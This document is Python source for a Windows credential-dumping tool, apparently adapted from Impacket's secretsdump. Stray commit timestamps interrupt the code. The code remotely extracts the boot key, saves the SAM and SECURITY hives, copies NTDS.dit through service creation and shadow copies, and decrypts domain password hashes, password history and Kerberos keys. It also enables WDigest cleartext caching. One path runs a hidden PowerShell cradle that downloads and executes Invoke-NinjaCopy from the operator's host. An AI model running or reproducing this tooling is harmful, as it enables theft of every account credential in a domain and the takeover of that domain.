2015-08-14 14:18:52 +00:00
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
if self.__serviceDeleted is False:
# Check again the service we created does not exist, starting a new connection
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
try:
rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpc.set_credentials(*self.__smbConnection.getCredentials())
rpc.set_kerberos(self.__doKerberos)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
rpc.disconnect()
except Exception, e:
# If service is stopped it'll trigger an exception
# If service does not exist it'll trigger an exception
# So. we just wanna be sure we delete it, no need to
# show this exception message
pass
def finish(self):
self.__restore()
if self.__rrp is not None:
self.__rrp.disconnect()
if self.__drsr is not None:
self.__drsr.disconnect()
if self.__samr is not None:
self.__samr.disconnect()
if self.__scmr is not None:
2015-10-07 20:24:03 +00:00
try:
self.__scmr.disconnect()
except SessionError:
pass
2015-08-14 14:18:52 +00:00
def getBootKey(self):
bootKey = ''
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
for key in ['JD','Skew1','GBG','Data']:
logging.debug('Retrieving class info for %s'% key)
2015-08-14 14:18:52 +00:00
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
keyHandle = ans['phkResult']
2015-10-07 20:24:03 +00:00
ans = rrp.hBaseRegQueryInfoKey(self.__rrp, keyHandle)
2015-08-14 14:18:52 +00:00
bootKey = bootKey + ans['lpClassOut'][:-1]
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
bootKey = unhexlify(bootKey)
for i in xrange(len(bootKey)):
self.__bootKey += bootKey[transforms[i]]
logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))
2015-08-14 14:18:52 +00:00
return self.__bootKey
2015-10-07 20:24:03 +00:00
def checkUAC(self):
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
keyHandle = ans['phkResult']
dataType, uac_value = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'EnableLUA')
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
return uac_value
def createUseLogonCredential(self):
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
keyHandle = ans['phkResult']
rrp.hBaseRegSetValue(self.__rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, '\x01\x00')
rtype, data = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'UseLogonCredential\x00')
return data
def deleteUseLogonCredential(self):
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
keyHandle = ans['phkResult']
rrp.hBaseRegDeleteValue(self.__rrp, keyHandle, 'UseLogonCredential\x00')
try:
rtype, data = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'UseLogonCredential\x00')
return False
except DCERPCException:
return True
2015-08-14 14:18:52 +00:00
def checkNoLMHashPolicy(self):
logging.debug('Checking NoLMHash Policy')
2015-08-14 14:18:52 +00:00
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
keyHandle = ans['phkResult']
try:
dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
except:
noLMHash = 0
if noLMHash != 1:
logging.debug('LMHashes are being stored')
2015-08-14 14:18:52 +00:00
return False
logging.debug('LMHashes are NOT being stored')
2015-08-14 14:18:52 +00:00
return True
def __retrieveHive(self, hiveName):
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
ans = rrp.hOpenLocalMachine(self.__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
except:
raise Exception("Can't open %s hive" % hiveName)
keyHandle = ans['phkResult']
rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
# Now let's open the remote file, so it can be read later
remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
return remoteFileName
def saveSAM(self):
logging.debug('Saving remote SAM database')
2015-08-14 14:18:52 +00:00
return self.__retrieveHive('SAM')
def saveSECURITY(self):
logging.debug('Saving remote SECURITY database')
2015-08-14 14:18:52 +00:00
return self.__retrieveHive('SECURITY')
def __executeRemote(self, data):
self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
self.__serviceDeleted = False
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
self.__serviceDeleted = True
scmr.hRCloseServiceHandle(self.__scmr, service)
2015-08-14 14:18:52 +00:00
def __answer(self, data):
self.__answerTMP += data
def __getLastVSS(self):
self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
sleep(5)
tries = 0
while True:
try:
self.__smbConnection.getFile('ADMIN$', 'Temp\\' + OUTPUT_FILENAME, self.__answer)
2015-08-14 14:18:52 +00:00
break
except Exception, e:
if tries > 30:
# We give up
raise Exception('Too many tries trying to list vss shadows')
if str(e).find('SHARING') > 0:
# Stuff didn't finish yet.. wait more
sleep(5)
tries +=1
pass
else:
raise
lines = self.__answerTMP.split('\n')
lastShadow = ''
lastShadowFor = ''
# Let's find the last one
# The string used to search the shadow for drive. Wondering what happens
# in other languages
SHADOWFOR = 'Volume: ('
for line in lines:
if line.find('GLOBALROOT') > 0:
lastShadow = line[line.find('\\\\?'):][:-1]
elif line.find(SHADOWFOR) > 0:
lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\' + OUTPUT_FILENAME)
2015-08-14 14:18:52 +00:00
return lastShadow, lastShadowFor
def saveNTDS(self, ninja=False):
logging.info('Searching for NTDS.dit')
2015-08-14 14:18:52 +00:00
# First of all, let's try to read the target NTDS.dit registry entry
ans = rrp.hOpenLocalMachine(self.__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
keyHandle = ans['phkResult']
except:
# Can't open the registry path, assuming no NTDS on the other end
return None
try:
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
ntdsLocation = dataValue[:-1]
ntdsDrive = ntdsLocation[:2]
except:
# Can't open the registry path, assuming no NTDS on the other end
return None
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
if ninja is True:
logging.info('Registry says NTDS.dit is at %s' % ntdsLocation)
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
local_ip = self.__smbConnection.getSMBServer().get_socket().getsockname()[0]
protocol = 'http'
if args.ssl: protocol = 'https'
command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-NinjaCopy.ps1');
Invoke-NinjaCopy -Path "{ntdspath}" -LocalDestination "$env:systemroot\\Temp\\{tmpname}";
""".format(protocol=protocol, addr=local_ip, ntdspath=ntdsLocation, tmpname=tmpFileName)
self.__executeRemote('%%COMSPEC%% /C powershell.exe -exec bypass -window hidden -noni -nop -encoded %s' % ps_command(command))
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
2015-08-14 14:18:52 +00:00
else:
logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
# Get the list of remote shadows
shadow, shadowFor = self.__getLastVSS()
if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
# No shadow, create one
self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
shadow, shadowFor = self.__getLastVSS()
shouldRemove = True
if shadow == '':
raise Exception('Could not get a VSS')
else:
shouldRemove = False
2015-08-14 14:18:52 +00:00
# Now copy the ntds.dit to the temp directory
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
2015-08-14 14:18:52 +00:00
self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
2015-08-14 14:18:52 +00:00
if shouldRemove is True:
self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
2015-08-14 14:18:52 +00:00
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\' + OUTPUT_FILENAME)
2015-08-14 14:18:52 +00:00
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
2015-08-14 14:18:52 +00:00
return remoteFileName
class NTDSHashes:
NAME_TO_INTERNAL = {
'uSNCreated':'ATTq131091',
'uSNChanged':'ATTq131192',
'name':'ATTm3',
'objectGUID':'ATTk589826',
'objectSid':'ATTr589970',
'userAccountControl':'ATTj589832',
'primaryGroupID':'ATTj589922',
'accountExpires':'ATTq589983',
'logonCount':'ATTj589993',
'sAMAccountName':'ATTm590045',
'sAMAccountType':'ATTj590126',
'lastLogonTimestamp':'ATTq589876',
'userPrincipalName':'ATTm590480',
'unicodePwd':'ATTk589914',
'dBCSPwd':'ATTk589879',
'ntPwdHistory':'ATTk589918',
'lmPwdHistory':'ATTk589984',
'pekList':'ATTk590689',
'supplementalCredentials':'ATTk589949',
}
NAME_TO_ATTRTYP = {
'userPrincipalName': 0x90290,
'sAMAccountName': 0x900DD,
'unicodePwd': 0x9005A,
'dBCSPwd': 0x90037,
'ntPwdHistory': 0x9005E,
'lmPwdHistory': 0x900A0,
'supplementalCredentials': 0x9007D,
'objectSid': 0x90092,
}
KERBEROS_TYPE = {
1:'dec-cbc-crc',
3:'des-cbc-md5',
17:'aes128-cts-hmac-sha1-96',
18:'aes256-cts-hmac-sha1-96',
0xffffff74:'rc4_hmac',
}
INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems())
SAM_NORMAL_USER_ACCOUNT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_TRUST_ACCOUNT = 0x30000002
ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
class PEK_KEY(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedPek','52s=""'),
)
class CRYPTED_HASH(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash','16s=""'),
)
class CRYPTED_HISTORY(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash',':'),
)
class CRYPTED_BLOB(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash',':'),
)
def __init__(self, ntdsFile, bootKey, noLMHash=True, remoteOps=None, useVSSMethod=False):
self.__bootKey = bootKey
self.__NTDS = ntdsFile
self.__history = False
self.__noLMHash = noLMHash
self.__useVSSMethod = useVSSMethod
self.dumped_hashes = {'hashes': [], 'kerb': []}
self.__remoteOps = remoteOps
if self.__NTDS is not None:
self.__ESEDB = ESENT_DB(ntdsFile, isRemote = True)
self.__cursor = self.__ESEDB.openTable('datatable')
self.__tmpUsers = list()
self.__PEK = None
self.__cryptoCommon = CryptoCommon()
self.__hashesFound = {}
self.__kerberosKeys = OrderedDict()
def __getPek(self):
logging.info('Searching for pekList, be patient')
pek = None
while True:
record = self.__ESEDB.getNextRow(self.__cursor)
if record is None:
break
elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
pek = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
break
elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
# Okey.. we found some users, but we're not yet ready to process them.
# Let's just store them in a temp list
self.__tmpUsers.append(record)
if pek is not None:
encryptedPek = self.PEK_KEY(pek)
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(encryptedPek['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.encrypt(encryptedPek['EncryptedPek'])
self.__PEK = plainText[36:]
def __removeRC4Layer(self, cryptedHash):
md5 = hashlib.new('md5')
md5.update(self.__PEK)
md5.update(cryptedHash['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
return plainText
def __removeDESLayer(self, cryptedHash, rid):
Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
return decryptedHash
def __decryptSupplementalInfo(self, record, rid=None):
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
haveInfo = False
if self.__useVSSMethod is True:
if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
plainText = self.__removeRC4Layer(cipherText)
haveInfo = True
else:
domain = None
userName = None
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
if attr['attrTyp'] == self.NAME_TO_ATTRTYP['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attr['attrTyp'] == self.NAME_TO_ATTRTYP['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = 'unknown'
else:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = 'unknown'
if attr['attrTyp'] == self.NAME_TO_ATTRTYP['supplementalCredentials']:
if attr['AttrVal']['valCount'] > 0:
blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
if len(plainText) > 24:
haveInfo = True
if domain is not None:
userName = '%s\\%s' % (domain, userName)
if haveInfo is True:
try:
userProperties = samr.USER_PROPERTIES(plainText)
except:
# On some old w2k3 there might be user properties that don't
# match [MS-SAMR] structure, discarding them
return
propertiesData = userProperties['UserProperties']
for propertyCount in range(userProperties['PropertyCount']):
userProperty = samr.USER_PROPERTY(propertiesData)
propertiesData = propertiesData[len(userProperty):]
# For now, we will only process Newer Kerberos Keys.
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
data = kerbStoredCredentialNew['Buffer']
for credential in range(kerbStoredCredentialNew['CredentialCount']):
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
data = data[len(keyDataNew):]
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue))
else:
answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue))
# We're just storing the keys, not printing them, to make the output more readable
# This is kind of ugly... but it's what I came up with tonight to get an ordered
# set :P. Better ideas welcomed ;)
self.__kerberosKeys[answer] = None
def __decryptHash(self, record, rid=None):
if self.__useVSSMethod is True:
logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
rid = sid.formatCanonical().split('-')[-1]
if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
LMHash = self.__removeDESLayer(tmpLMHash, rid)
else:
LMHash = ntlm.LMOWFv1('', '')
if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
NTHash = self.__removeDESLayer(tmpNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
self.__hashesFound[unhexlify(record[self.NAME_TO_INTERNAL['objectSid']])] = answer
self.dumped_hashes['hashes'].append(answer)
if self.__history:
LMHistory = []
NTHistory = []
if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
for i in range(0, len(tmpLMHistory) / 16):
LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
LMHistory.append(LMHash)
if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
for i in range(0, len(tmpNTHistory) / 16):
NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHash)
for i, (LMHash, NTHash) in enumerate(
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
if self.__noLMHash:
lmhash = hexlify(ntlm.LMOWFv1('', ''))
else:
lmhash = hexlify(LMHash)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
self.__hashesFound[unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]) + str(i)] = answer
self.dumped_hashes['hashes'].append(answer)
else:
logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
domain = None
if self.__history:
LMHistory = []
NTHistory = []
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
if attr['attrTyp'] == self.NAME_TO_ATTRTYP['dBCSPwd']:
if attr['AttrVal']['valCount'] > 0:
encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
else:
LMHash = ntlm.LMOWFv1('', '')
elif attr['attrTyp'] == self.NAME_TO_ATTRTYP['unicodePwd']:
if attr['AttrVal']['valCount'] > 0:
encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
elif attr['attrTyp'] == self.NAME_TO_ATTRTYP['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attr['attrTyp'] == self.NAME_TO_ATTRTYP['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = 'unknown'
else:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = 'unknown'
elif attr['attrTyp'] == self.NAME_TO_ATTRTYP['objectSid']:
if attr['AttrVal']['valCount'] > 0:
objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
else:
logging.error('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
objectSid = rid
if self.__history:
if attr['attrTyp'] == self.NAME_TO_ATTRTYP['lmPwdHistory']:
if attr['AttrVal']['valCount'] > 0:
encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
for i in range(0, len(tmpLMHistory) / 16):
LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
LMHistory.append(LMHashHistory)
else:
logging.debug('No lmPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
elif attr['attrTyp'] == self.NAME_TO_ATTRTYP['ntPwdHistory']:
if attr['AttrVal']['valCount'] > 0:
encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
for i in range(0, len(tmpNTHistory) / 16):
NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHashHistory)
else:
logging.debug('No ntPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
if domain is not None:
userName = '%s\\%s' % (domain, userName)
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
self.__hashesFound[objectSid] = answer
self.dumped_hashes['hashes'].append(answer)
if self.__history:
for i, (LMHashHistory, NTHashHistory) in enumerate(
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
if self.__noLMHash:
lmhash = hexlify(ntlm.LMOWFv1('', ''))
else:
lmhash = hexlify(LMHashHistory)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
self.__hashesFound[objectSid + str(i)] = answer
print answer
def dump(self):
if self.__NTDS is None and self.__useVSSMethod is True:
# No NTDS.dit file provided and were asked to use VSS
return
else:
try:
self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
except:
# Target's not a DC
return
logging.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
if self.__useVSSMethod:
# We start getting rows from the table aiming at reaching
# the pekList. If we find users records we stored them
# in a temp list for later process.
self.__getPek()
if self.__PEK is not None:
logging.info('Pek found and decrypted: 0x%s' % hexlify(self.__PEK))
logging.info('Reading and decrypting hashes from %s ' % self.__NTDS)
# First of all, if we have users already cached, let's decrypt their hashes
for record in self.__tmpUsers:
try:
self.__decryptHash(record)
self.__decryptSupplementalInfo(record)
except Exception, e:
# import traceback
# print traceback.print_exc()
try:
logging.error(
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
logging.error(str(e))
pass
except:
logging.error("Error while processing row!")
logging.error(str(e))
pass
# Now let's keep moving through the NTDS file and decrypting what we find
while True:
try:
record = self.__ESEDB.getNextRow(self.__cursor)
except:
logging.error('Error while calling getNextRow(), trying the next one')
continue
if record is None:
break
try:
if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
self.__decryptHash(record)
self.__decryptSupplementalInfo(record)
except Exception, e:
# import traceback
# print traceback.print_exc()
try:
logging.error(
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
logging.error(str(e))
pass
except:
logging.error("Error while processing row!")
logging.error(str(e))
pass
else:
logging.info('Using the DRSUAPI method to get NTDS.DIT secrets')
status = STATUS_MORE_ENTRIES
enumerationContext = 0
while status == STATUS_MORE_ENTRIES:
resp = self.__remoteOps.getDomainUsers(enumerationContext)
for user in resp['Buffer']['Buffer']:
userName = user['Name']
userSid = self.__remoteOps.ridToSid(user['RelativeId'])
# Let's crack the user sid into DS_FQDN_1779_NAME
# In theory I shouldn't need to crack the sid. Instead
# I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
# For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name = userSid.formatCanonical())
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
#userRecord.dump()
if userRecord['pmsgOut']['V6']['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')
else:
logging.warning('DRSCrackNames returned %d items for user %s, skipping' %(crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
try:
self.__decryptHash(userRecord, user['RelativeId'])
self.__decryptSupplementalInfo(userRecord, user['RelativeId'])
except Exception, e:
#import traceback
#traceback.print_exc()
logging.error("Error while processing user!")
logging.error(str(e))
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
# Now we'll print the Kerberos keys. So we don't mix things up in the output.
if len(self.__kerberosKeys) > 0:
if self.__useVSSMethod is True:
logging.info('Kerberos keys from %s ' % self.__NTDS)
else:
logging.info('Kerberos keys grabbed')
for itemKey in self.__kerberosKeys.keys():
self.dumped_hashes['kerb'].append(itemKey)
return self.dumped_hashes
def export(self, fileName):
if len(self.__hashesFound) > 0:
items = sorted(self.__hashesFound)
fd = open(fileName+'.ntds','w+')
for item in items:
try:
fd.write(self.__hashesFound[item]+'\n')
except:
try:
logging.error("Error writing entry %d, skipping" % item)
except:
logging.error("Error writing entry, skipping")
pass
fd.close()
if len(self.__kerberosKeys) > 0:
fd = open(fileName+'.ntds.kerberos','w+')
for itemKey in self.__kerberosKeys.keys():
fd.write(itemKey+'\n')
fd.close()
def finish(self):
if self.__NTDS is not None:
self.__ESEDB.close()
2015-08-14 14:18:52 +00:00
class DumpSecrets:
def __init__(self, address, username='', password='', domain='', hashes=None, sam=False, ntds=False, useVSSMethod=False, useNinjaMethod=False):
2015-08-14 14:18:52 +00:00
self.__remoteAddr = address
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__sam = sam
self.__ntds = ntds
self.__useVSSMethod = useVSSMethod
self.__useNinjaMethod = useNinjaMethod
2015-08-14 14:18:52 +00:00
self.__remoteOps = None
self.__SAMHashes = None
self.__isRemote = True
self.dumped_ntds_hashes = None
self.dumped_sam_hashes = None
2015-08-14 14:18:52 +00:00
if hashes:
self.__lmhash, self.__nthash = hashes.split(':')
def getBootKey(self):
# Local Version whenever we are given the files directly
bootKey = ''
tmpKey = ''
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
for key in ['JD','Skew1','GBG','Data']:
logging.debug('Retrieving class info for %s'% key)
2015-08-14 14:18:52 +00:00
